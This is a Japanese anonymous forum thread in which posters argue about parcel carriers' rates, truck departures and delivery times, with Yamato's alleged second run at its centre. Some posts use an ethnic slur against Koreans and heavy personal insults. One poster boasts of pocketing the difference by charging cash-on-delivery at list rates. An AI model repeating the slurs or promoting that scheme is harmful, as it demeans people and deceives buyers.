EXPACKは封筒形式なので、入れられる荷物の大きさにかなりシビアなので、
梱包減らして無理矢理EXPACK詰める人が多いからだよ(^-^)

あゆちんだったらそんな事せずに、ダンボール使って宅配便で発送するよね(^-^)
契約運賃がEXPACKの運賃を下回ってるので、EXPACK使う必要性すらないですからね(^-^)

そんなにたくさん荷物出してる割には毎日随分暇そうですね(^-^)

西武うんこがアマゾンの商品の配送を全国対応でしたら、カトーレックなんて比較にならないほどの苦情がネットで溢れかえるでしょうね(^-^)
カトーレックなんて、千葉だけであれですからね(^-^)

このスレまだあったのか。
先月平均税込み341円で沖縄離島を除く全国20kgまで送った俺にとっては
おまいらの言い合いはめくそはなくそ

>>504
よう、歯糞

>>505
なんだ？糞

おたくイオングループの方ですか？

>>504みたいな地域別契約だと、近場の人しか落札しないから(^-^)
以前にも言ったけど、全国一律で出品すると、半分ぐらいは北海道の乞食に落札されるから、
北海道735円の契約の人より結果として平均単価は安くなると思うよ(^-^)

西濃は西武に広範囲の直配区域(日配+午前/午後指定)足して、夜の再配達を加えただけの運送会社ですよね(^-^)
西武よりはずっと上ですけど、福山には及びませんね(^-^)

午前/午後指定のみなんて、時間帯指定とは呼びませんよね(^-^)
適当に配っても、1/2は守れますからね(^-^)

■直配区域(日配可能地域+時間帯指定可能地域)の広さ
福山＞＞＞＞西濃＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞西武

■時間帯指定
福山(5区分)＞＞＞＞＞＞＞＞＞＞＞＞＞西濃(2区分)＝西武(2区分)

■ネットサービス
西濃＞＞＞＞＞＞＞＞＞＞＞＞福山＞＞＞＞＞＞＞＞＞＞＞西武(ネット追跡以外ないに等しい)

その表にヤマト、佐川、日通を当て嵌めて見て

鼻くそあゆちん早速登場ｗ

ヤフオクの切手の相場が下がったね
額面の83%とかで買える。
前は9割くらいだったんだけど。なんでだろう。

60サイズ持ち込みだとゆうパック定価600円だけど
切手なら498円で出せる計算。
PickUpが税抜きなのと1日遅れ集荷なのを考慮すると
切手でゆうパックも悪くないかな、と。

ヤフーゆうパックが終わったら、切手の人気がアップする
だろうか今のうちに切手を買いこんでおいたほうがよさそうだ。

>>514
ゆうパックが９月に終わって、「１０月からはＪＰエクスプレス便では
個人の代引きはもちろん、荷物発送に切手利用ができなくなる
法規制がある」というニュースが出たからじゃない

>>515
なるほど、そんなニュースがあったとは。
在庫たっぷりかかえてる金券ショップがあわてて投げ売り
してる感じかな。

でもエクスパックやら他の郵便には、統合後でも
変わらず使えるだろうし値崩れしたらある意味お買い得だよね。

これかな。まだ確定じゃないんだね。


◎切手での差し出し存続に法の壁＝「ゆうパック」、子会社移管で―郵便会社

2009年05月05日14時34分 / 提供：時事通信社
時事通信社

　郵便事業会社が、宅配便「ゆうパック」を切手で差し出すサービスの見直しを迫ら
れている。ゆうパックは１０月に子会社へ移管する予定だが、郵便法の適用対象から
外れる可能性が浮上。その場合、サービスを続けるには前払式証票規制法（プリペイド
カード法）の要件を満たす必要があるためだ。郵便会社は「現時点では内容が固まって
いない」（渉外広報部）と言い、法の壁に苦慮している。　

>>516
エクスパックは切手とは無縁

>>518
そうなんだ。
書き損じのはがきみたいに手数料はらえば、切手でエクスパックみたいな
他の料金の支払いができると思ってたわ。

http://www.post.japanpost.jp/service/standard/kaki_sonji/index.html

切手からは切手、はがき、郵便書簡だけかぁ

このスレにしてはまともな流れだね

トムス全く関係ないけどな

以下の人ははやく出てきてね(^-^)

「トムスの西武航空は航空便発送である」と言った人
「ヤマトには2便もメール便専用便も存在しない」と言った人

2月からyousayから佐川に乗り換えた者だけど、板見てスレがたまたま上がってたから見てみたんだが
あゆちんとかいう基地外まだ寄生してたのかよｗ
2ちゃんでこういう活動続ける奴って、精神が病んでるよな。普通、家ではゆっくりまったりしたいぜ

あゆちんが送料が安いのと知識を自慢するのは何ともおもわんけど
毎日あんなことやっていて楽しいのかな？

明日、室蘭に出すパーセルパック400が翌日8時までに着店到着(＝翌日午前配達可能)したら、翌日午後しか無理なEXPACKは完全終了だよね(^-^)

理由：
現在、路線距離800kmを超える地域での翌日午前配達は、翌朝10時郵便でしか無理(EXPACKや速達ゆうパックは早くても翌日午後)。
その翌朝10時郵便は、差出郵便局は非常に限定されている上、宛先も限定され、しかも、A4/厚み3.5cm/重さ1kg以内という条件でしか出せない。
つまり、郵便系の発送方法で路線距離800kmを超える地域での翌日午前配達はほぼ無理。

>>526
おい、パセールは浅田氏の航空便だろ？
だったら翌日午後しか無理だけど？
たとえそれが可能だったとして、100％翌日午前は無理だから。

>>523
うちもotodokeは航空便
集荷地域は中部地方のある県（これである程度分かる？）
ただ証拠＝個人情報だから、伝票晒すとかそういう馬鹿な事はしない

で、結局あゆちんは何が言いたいんだろう？

>>526
＞A4/厚み3.5cm/重さ1kg以内という条件でしか出せない

お前の言うことは全部嘘
ttp://www.post.japanpost.jp/service/fuka_service/yokuasa/index.html

エクスパックとポスパケット間違える人って・・・

>>531
翌朝１０時郵便とポスパケを間違えたようだ。
>>530のサイズなのは輸送容器がその大きさのため。

あゆつんの発言
理由：
その翌朝10時郵便は、差出郵便局は非常に限定されている上、
宛先も限定され、しかも、長さ40cm 幅30cm 厚さ15cmまで 。
重さは4kgまで という条件でしか出せない。完全終了だよね(^-^)

って書き込んでくるかな？

>>528
証拠を出さない発言は全てシッタカと見なします(^-^)
中部なら、800km圏内は北東北と北九州、1000km以上は北海道・沖縄・南九州だから、

・北東北と北九州宛で、翌日8時までの着店到着データ
・北海道と沖縄と南九州宛で翌日12時前後での着店到着データ

これを書けない人は全部シッタカとみなします(^-^)
証拠もないのに、信用しろなどという方が無理ですよね(^-^)

証拠とか無理だろ
お前の言ってること全てに証拠がないことになる
まあそれでいいなら別にそれでいいんだけど

>>527
結局、無理なんだってさ(^-^)
なぜ、この実験をしたのかと言うと、以下の理由からだよ(^-^)

・航空貨物の翌日午前配達は一部地域だけで、あとは翌日午後配達で、実質パーセル1と変わらない。
・航空貨物の翌日午前配達地域でも、締め時間があるので、それを過ぎれば翌日午後(朝出しの航空便)になり、この場合も実質パーセル1と変わらない。
・パーセル1は全て朝出しの航空便で翌日午後だというのは、2chの書き込みでしか見たことがなく、あゆちんも本当の所は知らない。
・今まで、当日発送締め時間ぎりぎりに出していたため、全部翌日午後になっていただけで、午前中に出せば翌日午前配達可能なのではないか？
・実は、パーセル1は、広島東京間で夜出しの航空便で翌日午前配達をやっていたという過去がある(今はやっていない)。

つまり、パーセル1＝本当に全部朝出しの航空便なのかという部分を、本当かどうか確かめるためだよ(^-^)

あゆちんみたいに加工してデータ出せばいいんじゃないの？

>>532
間違いは認めるけど、翌朝10時を出せるのは、大阪府内でも、大阪市内の一部の郵便局だけだよね(^-^)
サイズや重さに制限があるのも変わらないしね(^-^)
宛先も相当、限定されるよね(^-^)
東北や北海道は、JALもANAも早朝1日1便しかない宛先がかなりあるしね(^-^)
実際、飛脚航空便R-Iも、サービス対象地域は北海道なら札幌としの周辺だけだしね(^-^)
他府県も似たような事情だろうから、この時点で終わりだよね(^-^)

ひょっとして、関東関西間翌日午前配達程度で航空便だとか言ってるんでしょうかね(^-^)
その程度なら、どこの運送会社でも陸便1便発送で翌日午前配達可能だよね(^-^)
まあ、夕方に出して、着店到着が夜中の12時前後なら、航空便だと信用してあげよう(^-^)

>>536
データ加工した人は、北海道宛の運賃を後から捏造した人だよね(^-^)
最初に出した契約書には700円(税別)と記載があったのに、
なぜか追跡では400円(税別)だったしね(^-^)

「なぜ契約書では700円なのに、実際の追跡上では400円なんですか？追跡は捏造ですか？」と、追求した途端、逃げたんだよね(^-^)

http://jbbs.livedoor.jp/bbs/read.cgi/internet/2653/1233066872/268
http://jbbs.livedoor.jp/bbs/read.cgi/internet/2653/1233066872/271
http://jbbs.livedoor.jp/bbs/read.cgi/internet/2653/1233066872/274
http://jbbs.livedoor.jp/bbs/read.cgi/internet/2653/1233066872/276

＞つーか、それただの一般路線だろ？

福山の一般路線はそんなに高くないよね(^-^)
その程度の地区なら5kgで735円〜840円程度だよ(^-^)
よって、多分、考えられるのは以下の通りだよね(^-^)

１．実は着払を装った代引(代引金額1415円なら契約運賃次第だが、元払契約運賃＋代引手数料払っても十分利益は出る)
２．中継料(宛先は奥多摩か離島？)
３．容積換算重量や着払い料金を出品者自身が書いている
(ピンハネできない代わりに着払運賃をボッタクリ。実はヤマトでもできる。荷主が60サイズしかない荷物を160サイズに○振って着払い運賃ボッタクリとか)
４．その書き込み自体がウソ。つまり、ソーテック被害者のような犯（ｒｙ

2は地域が違うなら、すぐに2ではないと判明するよね(^-^)
1も送り状が代引でないのなら、すぐに判明するよね(^-^)
まあ、常識的に考えて、3か4だと思うよ(^-^)

あゆちんも昔、Yahoo!なんでも交換で、着払いじゃなくて、代引きで出したりしたしね(^-^)
もちろん、代引き金額＝宅配便正規運賃で(^-^)
例えば、宅配便正規運賃が1680円なら、代引金額1680円で出せば、契約運賃420円+代引手数料315円＝735円で、945円の利益が出るよね(^-^)

↑はヤフオクでも処分できないようなゴミを処分するときに最適だったよ(^-^)
ゴミ処分とみせかけ、実はしっかり利益は取るとか(^-^)
Yahoo!なんでも交換は手数料もかからないしね(^-^)

4の場合は犯罪なので、判明した際は通報しておきますね(^-^)

>>542
通報済み

>>545
アホーに通報しても、Yahoo!なんでも交換の取引に関しては、一切関与しないよね(^-^)
お金を一切取ってないから、何も対応せず、無法地帯状態ですよね(^-^)
明らかな詐欺師でもIDを停止にしないぐらいですからね(^-^)

さすが犯罪者は言うことが違うな

西武ウンコの着払いは、福山よりボッタくられる可能性が高いよね(^-^)
だって、最低10kgで中継も多いから(^-^)

1415円−50円(運送保険は非課税)＝1365円。
1365円＝運賃1300円＋消費税65円。

一般路線5kgで1365円って事は絶対ないから、
実は着払装った代引か、中継(それでも奥多摩だと高過ぎ)か、
出品者が嫌がらせ目的であらかじめ運賃か重量を多めに記入したか、
ウソ書き込み(犯罪)かのどれかだね(^-^)

あらかじめ容積や運賃を多めに記入される嫌がらせの場合、受け取りの際、運賃や重量は二重線と訂正印で訂正できるんだよね(^-^)
これはどこの運送会社でも同じなので、よく覚えておいた方がいいよ(^-^)
ピンハネできないと見るや、こういう事をする出品者がいるからね(^-^)

あ、以前も書いたように、ウソ書き込みは犯罪なので、判明したら通報しておくから(^-^)
あゆちんは「ソーテック被害者の会」を閉鎖させてるんだよ(^-^)
http://miyazaki.cool.ne.jp/sotec2ch/index.html

ウソ書き込み連発の犯罪者乙

＞ここでも見事シッタカが発揮されましたね
＞「宅急便と仕分け間違える」のでなく、「速達メール便と仕分け間違える」が正解だよ
＞つまり、速達でないものを速達扱いで送ったって事ね

＞A4/厚み3.5cm/重さ1kg以内という条件でしか出せない

翌朝がA4以下限定とかメールの速達が通常と同じ仕分けだとか素人以下の間違いだな

>>326の質問もお前の希望や不満な点は完全に無視されてるな
自意識過剰というか、思い込みが激しいというか、被害妄想というか

キチガイの相手しちゃだめよ
自分の間違いは絶対に認めないから。

あゆちんyahoo ID曝してくんないかな
こいつから万が一でも買いたくないとかそんな問題じゃなくて
マジで怖いから遭遇したくない

はやく「ヤマトには2便もメール専用便も存在しない」と言った人は出てきてくださいね(^-^)
ヤマト社員が存在すると言ってるのに、ヤマト社員すらシッタカ呼ばわりした人だよ(^-^)

>>550
翌朝10時のA4に関しては、間違いを認めたよね(^-^)

メール便に関しては、一番最初の段階で、通常と速達を区別する作業があるのだが、そこで通常を速達に入れてしまう事があり、
それで速達扱いで輸送される、という意味だよ(^-^)
もちろん、逆もあり得るから、速達メール便が通常扱いになって、遅配するなんてのも、そこらじゅうでザラに報告されてますよね(^-^)

「通常が速達扱いになる件」については触れたけど、「速達が通常扱いになって遅配する件」については何も触れてないよね、その「ヤマトには2便もメール専用便も存在しない」と言ったシッタカは(^-^)

というわけで、「速達が通常扱いになって遅配する件」について触れましょう(^-^)
ヤマト的には都合の悪い話題ですよね(^-^)

ウソ書き込み連発の犯罪者乙

＞通常と速達を区別する作業があるのだが
メール便と速達メール便は発送・仕分けの上では
全く別の商品だということが理解できてないな

＞ヤマトには2便もメール専用便も存在しない
お前の主張する宅急便2便の作業店通過の追跡情報を出せば全て解決するよ
お前が追跡情報を提示しない以上ハッタリと見ざるをえない

>>556
規約上遅配は100円返金となっている。
が、現実に返金されているかどうかと言うのとは別問題。

>>557
ヤマト社員すらシッタカ呼ばわりする人は相手にしないよ(^-^)

＞メール便と速達メール便は発送・仕分けの上では
＞全く別の商品だということが理解できてないな

最初に通常と速達を区分する作業があるのを理解できない人でしたね(^-^)

じゃあ、逆に聞くけど、そこらじゅうで報告されている速達が通常で発送され、遅配する行為はなぜ起こっているのかな？(^-^)
仕分けミスで起こるとしか思えないよね(^-^)

2便に関しては、追跡でなく、ヤマト社員の証言で証拠は十分だよね(^-^)

「速達が通常で発送され、遅配する行為」について、シッタカは何も触れないよね(^-^)
この話題に触れるとシッタカがばれるので、よほど触れたくないと思われるよ(^-^)

逆にあゆちんにきく。
速達メール便には印字されていて通常メール便には印字されていないもの。
つまり、仕分けミスは恐らくSDのミスである可能性が高い。
あと、遅配に関しては普通に宅急便の遅配と同じような感じで起こるものもある。

＞最初に通常と速達を区分する作業
この通常と速達が最初は混ざっているかのような表現とか
『そこらじゅうで報告されている』なんていう言い回しが
実際には何も知らないんだろうなということが伝わってくるのな

＞速達が通常で発送され、遅配する行為
これも追跡さらしてもらわないとなんとも言えないな
本当かどうかも分からないし

まあ22時前出発厳守のヤマトに2便3便があるとか言ってる時点で
糞コテの希望的妄言であることは誰の目にも明らかだがな

最初は混載

早出し便もある。
しかし０便とか−１便とは呼ばない。

やっぱり「速達が通常で発送され、遅配する件」という触れたら即シッタカがばれる話題には一切触れませんね(^-^)
触れたらシッタカがばれるので、わざと触れてないとしか思えませんね(^-^)

＞まあ22時前出発厳守のヤマトに2便3便があるとか言ってる時点で
＞糞コテの希望的妄言であることは誰の目にも明らかだがな

じゃあ、このヤマト社員の書き込みは何なのかな？(^-^)
このヤマト社員の発言も、当然、シッタカなんだね(^-^)

http://www.geocities.com/kuronekoyamato9625/200.htm

＞宅急便の仕分を優先にしている為に全てのメール便が１便（朝到着）でセンターに送り込まれて来ない
＞多くのメイトさん（メール便配達員）が主婦である為に２便（午後到着）で送り込まれてきたメール便は配達が出来ない。

あと、あゆちんは3便があるなんて発言はしてないから(^-^)
「メール便専用便は2便の後に発送されるので、実質3便」とは発言したけど(^-^)
捏造はチョンの得意技みたいだけど、勝手に発言を捏造しないようにね(^-^)

集荷を持って帰る便がメールを積んでくることも

>>567
＞午後到着
ってはっきり書いてある

午後到着ということはベース出発は15時で到着は16時前
お前の主張する発送レベルでの2便とは全くの別物

この社員の言ってるのは5:30頃までに着かなかった遠距離路線と
近県から昼に発送された午後到着の便のことだ
わかっててわざと分からないふりをしているんだと思うけどな

まだ「午後到着」にこだわってるのか、このシッタカは(^-^)

それは2便だよ(^-^)
ただ、2便は着店や時期で到着の時間に若干ブレがあり、600km〜700km圏内で10時台〜14時台だよ(^-^)
だから、必ず午後とは限らないよ(^-^)

あと、言っておくけど、400km圏内では2便は早朝までには到着するから、午前から配達可能だから、
2便＝必ず午後とは限らないよね(^-^)

＞午後到着ということはベース出発は15時で到着は16時前

こんな発言した時点でシッタカもいいところだよね(^-^)

ヤマトは中継店が多く、回送立ち寄りも多いから、15時回送して、
全ての中継店で16時前に到着するとは限らないし、
何より、回送で16時とかに着く宅急便は当日配達無理だから、回送する意味がないよね(^-^)

そんなの、回送するだけコストの無駄だから、当日夜の発送に回すのが普通だよ(^-^)

15時に路線到着店についた荷物は、当日夜からの発送(回送)に回すというのは、運送会社の常識ですよね(^-^)
15時から回送しても、着店の場所によっては、着店到着は17時過ぎるから、とても当日配達は無理ですからね(^-^)

＞だから、必ず午後とは限らないよ
いや、ベースを午後に出るんだからセンターに着くのは
どう考えても午後だっつうのに

＞ヤマトは中継店が多く、回送立ち寄りも多いから
掛け持ちは同一地域でせいぜい3つが限度
遠い地域から優先的に積み込んで発送するから
確かに距離よって差は出るが16時前後には着く

＞回送で16時とかに着く宅急便は当日配達無理だから
アフォか、県内なら発送13〜14時締めで当日配達可能だボケ

ｼｯﾀｶﾀｯﾀｯﾀｯﾀｯﾀｰ ﾀﾀｰﾀﾀｰ♪
ｼｯﾀｶﾀｯﾀｯﾀｯﾀｯﾀｰ ﾀｰﾀﾀﾀｰ♪
http://www.worldfolksong.com/foster/midi/2/camptown.mid

＞ベースを午後に出るんだからセンターに着くのは
＞どう考えても午後だっつうのに

例えば、大阪→京都の2便の路線到着店到着時間はいくら遅くても夜中の2時だよね(^-^)
当然、夜中に着店回送で、2便でも朝から配達可能だよ(^-^)

＞県内なら発送13〜14時締めで当日配達可能だボケ

TODAYサービスは12時締めだよ(^-^)

＞大阪→京都の2便の路線到着店到着時間はいくら遅くても夜中の2時だよね
2時から仕分け始めるのになんで2時に着くんだよ
繁忙期なら別だが

＞TODAYサービスは12時締めだよ
それは県外の場合

集荷を店に持って帰るまでに荷物が着いてたら、夜間配達と一緒に回る。
たくさん来たらヤダけど

1便＝午前、2便＝午後は明らかに600km〜700km圏内の話だよね(^-^)
たぶん、そのSDは関東関西間の話をしてるはずだよ(^-^)
800km圏内以上は1便でも正午前後到着で午前配達不可だし、
逆に500km圏内以内は2便でも8時までには着店につくから翌日午前から配達可能だしね(^-^)

で、1つ気になったことがある(^-^)
「22時前出発厳守のヤマト」で、路線到着店到着が15時なんて便は存在するんですか？(^-^)
存在するとしたら、1200km圏内だよね(^-^)
でも、ヤマトでは1200km圏内は翌々日配達だよ(^-^)
どういう事かな？(^-^)
シッタカの言うことは矛盾だらけだよね(^-^)

ヤマトでは大阪→青森や、東京→鹿児島は翌日配達なんですよね、シッタカの言い分では？(^-^)
青森や鹿児島のベースに15時到着で、16時前後着店到着で、着店到着当日配達可能らしいですよ、このシッタカが言うには(^-^)

>>574
＞2時から仕分け始めるのになんで2時に着くんだよ

どこに着店に2時につくと書いてるのかな？(^-^)
やっぱり、捏造大好きなチョンなのかな？(^-^)
遅くても2時だから、路線到着店3時回送でも着店到着はいくら遅くても4時5時だよね(^-^)
当然、午前から配達可能だよ(^-^)

さあ、シッタカの言い分に矛盾が生じてきましたよね(^-^)
まよめようか(^-^)

シッタカの言い分1：
ヤマトには15時回送の便があり、回送で着店到着した分は着店当日配達可能

「22時前出発厳守のヤマト」で、15時回送ありなら、大阪→青森や、東京→鹿児島は翌日配達なはずだよ(^-^)
何なら、翌日配達の証拠(追跡)を見せてね(^-^)

シッタカの言い分2：
2便の存在は認めないが、15時路線到着店到着の便の存在(しかもこれはメール便専用便ではない)は認める

もはやこれは矛盾だらけのシッタカとしか言いようにないですね(^-^)
だいたい、2便の路線到着店到着時間は時期や距離で大きな差があるにも関わらず、
この15時に到着する便は距離関係なく15時に到着するらしいですよ(^-^)
東京→名古屋でも、東京→茨城でも、東京→大阪でも、東京→広島でも15時到着らしいですね、シッタカの言い分では(^-^)

「2便は存在しないが、2便より遅い便がある(15時路線到着)」なんて主張は、
実は2便の存在を認めたくないだけのような気がしてきましたね(^-^)

この15時に到着する便は距離関係なく15時に到着するということは、
22時までに路線発送店から発送されたトラックは、15時まで何してるんですかね？(^-^)
仮に、路線発送店と路線到着店の距離が200kmしかないとなれば、
14時間かけて200km輸送する事になりますね(^-^)
平均時速15km程度で走るトラックは見たことがないですね(^-^)

訂正

×14時間かけて200km輸送する事になりますね(^-^)
○17時間かけて200km輸送する事になりますね(^-^)

＞ヤマトでは大阪→青森や、東京→鹿児島は翌日配達なんですよね
わざわざ大阪〜青森とかは出さないからよくわからんが
16時着で18〜21時指定ならSDの裁量で配達されることはある
16時着でタイムサービスなら17時指定で翌日配達可能だな

＞どこに着店に2時につくと書いてるのかな？
>>573『2便の路線到着店到着時間はいくら遅くても夜中の2時だよね』

＞この15時に到着する便は距離関係なく15時に到着するらしいですよ
そらまあ仕分け時間は決まってるから
おのずと到着もそれ以降の時間（16時前後）になるわな

＞15時まで何してるんですかね？
発送の仕分けが終わるまでベース内かベース近くに路駐して
荷物積んだまま待機してるよ

＞路線発送店と路線到着店の距離が200kmしかないとなれば
必死すぎ
200kmなら22時出発で1時前に着くからすぐに仕分けられる

ｼｯﾀｶﾀｯﾀｯﾀｯﾀｯﾀｰ ﾀﾀｰﾀﾀｰ♪
ｼｯﾀｶﾀｯﾀｯﾀｯﾀｯﾀｰ ﾀｰﾀﾀﾀｰ♪
http://www.worldfolksong.com/foster/midi/2/camptown.mid

＞わざわざ大阪〜青森とかは出さないからよくわからんが
＞16時着で18〜21時指定ならSDの裁量で配達されることはある

ヤマトの1200km圏内は絶対に着店に翌日中に着かないよね(^-^)
つまり、翌日配達は無理だよ(^-^)
あと、1200km圏内のタイムサービスは航空便発送だから、1便も2便もヘッタクレもないよね(^-^)

でも、キミの主張では陸便で翌日配達可能なんだよね(^-^)
証拠を見せてね(^-^)

＞発送の仕分けが終わるまでベース内かベース近くに路駐して
＞荷物積んだまま待機してるよ

ふーん、キミの主張では、「200km圏内でも着店到着は午後になり、午前配達不可な場合がある」という事なんだ(^-^)
運輸板行ってその発言したら笑われるよ(^-^)
↑
これが本当ならヤマトは福山以下ですね(^-^)

で、いつになったら2便の存在は認めるのかな？(^-^)
1便と2便より遅い便の存在は認めて、2便の存在は認めないなんておかしな話だよね(^-^)

「2便は存在しないが、2便より遅い便がある(15時路線到着)」なんて主張は、
実は2便の存在を認めたくないだけのような気がしてきましたね(^-^)
↑
これが本当の所でしょうね(^-^)
ヤマト社員でも2便の存在認めてるのにね(^-^)

ヤマト社員が2便＝午後だと書いてるから、「15時路線到着の便がある」なんてありもしない主張してるんだと思うけど、
発送元によっては、2便＝午後とは限らないから(^-^)
ヤマト社員が言ってるのは、「2便発送だと正午過ぎぐらいに着く発送元のメール便」の事だよ(^-^)
例を挙げれば、400km圏内だと、2便でも午前8時までには着店に着くし、
600km圏内だと、10時台〜正午前後に着店に着くし、
700km圏内だと、正午前後〜2時前後には着くよ(^-^)

つまり、だいたい、600km圏内〜700km圏内の2便発送のメール便を問題視してるのであって、
400km圏内なら2便でも朝には着くから問題視してないと思うよ(^-^)

＞でも、キミの主張では陸便で翌日配達可能なんだよね
べつに主張なんかしてないよ
よく分からないと前ふりもしてる

あくまでもセンター16時着を想定して発言しただけ
青森に16時に着くかどうかは知らない

＞200km圏内でも着店到着は午後になり、午前配達不可な場合がある
別に200kmなら早朝の仕分けに十分間に合うだろ
>>583で結論が出ている話を
なんで分かっていてわざわざ曲解するのか理解に苦しむな
俺が何か糞コテの気に障ることでも言ったか？

＞1便と2便より遅い便の存在は認めて
22時以降発送の便なんて聞いたこと無いよ
遠距離からの路線が早朝に間に合わないのは当たり前だと思うけど

＞2便発送だと正午過ぎぐらいに着く発送元のメール便」の事だよ
『（ベースで）宅急便の（到着の）仕分を優先にしている為に
全てのメール便が１便（朝到着）でセンターに送り込まれて来ない』
ということだと思う

「2便は存在しないが、2便より遅い便がある(15時路線到着)」なんて主張は、
実は2便の存在を認めたくないだけのような気がしてきましたね(^-^)
↑
これが本当の所でしょうね(^-^)
ヤマト社員でも2便の存在認めてるのにね(^-^)

22時前出発厳守のヤマトに2便3便があるとか言ってる時点で
糞コテの希望的妄言であることは誰の目にも明らかだけどな

>>6
かちゅ〜しゃ使ってるんだけど＞１のＵＲＬ踏んだだけで２ｃｈと同じように見れた。

2便の存在を認めない奴に質問
何故ヤマトのメール便速達は600km翌日でそれ以上は翌々日なんだ？
これは2便としか思えないよね。
ちなみに、速達も通常も混載という知ったかはなしで。
着店到着翌日にメイトに引き渡される通常メール便は400kmまで翌々日、つまり翌日までに着店に到着できるのは400kmまで。
こんなのに速達混載したら400〜600kmは翌々日になる罠jk
あと、ヤマトの場合は1便に優先的に積む荷物があるが、絶対に2便でしか発送できない荷物は存在しない。
優先順位は確か
・タイム
・宅急便、1便でしか守れない日付・時間帯指定あり
・宅急便、時間帯指定
・宅急便、その他
・ヤマト便
・メール便速達
・メール便通常
だったような。
証拠的なものとして、ヤマト便が800kmで翌配された事実がある。
215636399602
だいぶ前の話だからネット追跡は無理。
営業所かどっかに電話して確認すれば出来ると思う。

速達メール便は赤コンとほぼ同等
>>567にあるように早朝にセンター届いた分はその日に配達する
午後に届けば翌日配達

＞ヤマトの場合は1便に優先的に積む荷物があるが
なんでそう積み込むトラックに優先順位があると思いたいのか理解に苦しむというか
先出しも最終もタイムと時間指定を同じだけ積むし、差なんかあるわけ無い

別に時間指定有り無しを分けて流したりしないし、
ヤマト便もコンベア乗らないだけで結局は同じBOXに混載するから
優先順位なんか気にしたことは無いよ

タイム・クール・宅急便・メールは平行して仕分けしてるし
21時頃まで別々のセンターからタイムもクールも入ってくるわけだから
いずれにしろ22時の最終に全種積むのは当たり前の話

だいたい荷物の大多数が宅急便なんだから
一握りのタイムや時間指定のために先出しのトラック出すわけ無いだろ
荷物がトラックいっぱいに溜まったら出すだけ、タイム宅急クールゴルフ問わずな

＞ヤマト便が800kmで翌配された事実がある
センターまでは宅急便と全く同等だからな
センター留めなら翌々日配達の速達メール便もヤマト便も早く受け取れることがよくあるよ

＞なんでそう積み込むトラックに優先順位があると思いたいのか理解に苦しむというか
＞先出しも最終もタイムと時間指定を同じだけ積むし、差なんかあるわけ無い

あるよね(^-^)
600km圏内の翌日午前指定やタイムサービス10時指定は1便でないと配達できないからだよ(^-^)

＞荷物の大多数が宅急便

もはやこんな発言が出てきた時点でシッタカもいいところですね(^-^)
メール便の差出個数は宅急便の2倍だよ(^-^)

「荷物の大多数が宅急便」は「荷物の大多数がメール便」の間違いですよね(^-^)

＞600km圏内の翌日午前指定やタイムサービス10時指定
実際に仕分け終了直後の22発の便に毎日積んでるからなぁ

＞メール便の差出個数は宅急便の2倍だよ
2倍しかないペラペラのメール便はBOXに換算すれば1/10以下

じゃあ質問ですが、何故メール便速達は600〜800km翌日配達無理なんですか？
22時までに全部の便を出せば、当然800kmまで翌日配達ですよね(^-^)

可能なだけでするかどうかは会社が決めれば良いと思うが

22時発では北関東は10時配達は絶対無理ですよね(^-^)

速達メール便は600km〜700km圏内はいけるよね(^-^)
800km〜900km圏内が無理なだけだよ(^-^)

あゆちんはそれほど詳しくはないけど、ヤマトは800km〜900km圏内の2便発送の宅急便は翌日配達なんですか？(^-^)
まずそこから検証する必要があるよね(^-^)
HPの配達日数検索はアテにならないからね(^-^)

福山の場合、800km〜900km圏内の2便発送の場合、路線到着店には(発送残荷しなければ)確実に着くよね(^-^)
ただ、そこから先はかなり怪しい、というより、無理な事の方が多いよね(^-^)
路線到着店にもよるけど、中継店への回送は昼過ぎまでしかやってないからね(^-^)

つまり、関西発なら、路線到着店の宮城支店・宮崎支店・鹿児島支店の3つは(発送残荷しなければ)確実で、
それ以外の宮城県内・宮崎県内・鹿児島県内の中継店はかなり怪しいよね(^-^)
福島県は路線発着店がないものの、大宮支店からの中継だから、大宮支店への2便到着時間がよほど遅くない限り、ほぼ確実だよ(^-^)

まあ22時以降の2便が妄想ではなく実在するのなら
作業店通過の追跡番号を見せてくれれば全て解決するよ
繁忙期以外でな

「2便は存在しないが、2便より遅い便がある(15時路線到着)」なんて主張は、
実は2便の存在を認めたくないだけのような気がしてきましたね(^-^)
↑
これが本当の所でしょうね(^-^)
ヤマト社員も2便の存在認めてるのにね(^-^)

2便の存在を認めたヤマト社員すらシッタカ呼ばわりする人は相手しないよ(^-^)

以前、「クロネコメール便はA4/5cmまで存在する。運賃はA4/1cmで80円、A4/2cmで160円なので、A4/3cmは240円、A4/4cmは320円、A4/5cmで400円だ(つまり、運賃は80円×厚み)」
などと言っていたシッタカがいたけど、あゆちんがそんなものは存在しないと論破した上、運輸板のヤマト運輸スレに「こんな事言ってるシッタカがいるんだけど、どう思う？」
と書き込んだら、そのスレでもヤマト運輸の社員にシッタカ呼ばわりされ、それを論破したスレに報告したら、そのシッタカ、ヤマト運輸の社員すらシッタカ呼ばわりした過去があったよね(^-^)

今回もそれと同じだよね(^-^)

まあ22時以降の2便が妄想ではなく実在すると思いたいのなら
自分で繁忙期以外の22時以降にベースの従業員入り口から入って
事務所から荷物を差し出せば作業店通過のステータスで全て確認できるよ

「2便は存在しないが、2便より遅い便がある(15時路線到着)」なんて主張は、
実は2便の存在を認めたくないだけのような気がしてきましたね(^-^)
↑
これが本当の所でしょうね(^-^)
ヤマト社員も2便の存在認めてるのにね(^-^)

597 ：okaなんとか ：2009/05/17(日) 19:21:02 (p)ID:I16m1zF90(2)
じゃあ質問ですが、何故メール便速達は600〜800km翌日配達無理なんですか？
22時までに全部の便を出せば、当然800kmまで翌日配達ですよね(^-^)

一人二役もほどほどにな

ついに勝手に自演と決めつける敗北宣言が出ましたね(^-^)

敗北？
俺と糞コテとで勝負なんかしてたっけか

ただ単にヤマトに22時以降出発の便があるかどうかを
朝まで語り合ってるだけだと思うんだが

>>608

ベース発の幹線便の話なんだろうが、時に集配店への回送便の話にすり変わったりしてごちゃ混ぜにされているような気がする。
同じ表現だけど別物を指してるとか？

長距離路線と回送(路線到着店→中継店への短距離輸送)は別物だよね(^-^)

>>608
少なくとも俺は発送の話を中心にしているつもりなんだが
800kmとか1200km圏内とかはあんまり興味無いんで
それが何時にセンターに入るかというような話はよくわからん

ところで、「フットワークは全ての店で路線発着させている」とか言ったシッタカについて語りましょう(^-^)

お前のヤマトに抱いてる妄想について朝まで語ろうよ

これに関しては、全部の店というのはシッタカだけど、割合自体は相当高いよね(^-^)
ヤマトで営業所数7000中、路線発着店は70そこそこ、福山で営業所数260中、路線発着店50そこそこだから、
どこの運送会社も路線発着店の数はそう大きな差がないというのが実態だからだよ(^-^)

そう考えれば、西武にも同じ事が言え、「中継店が少ない＝着地集約も少ない」、という理論も成り立つけど、
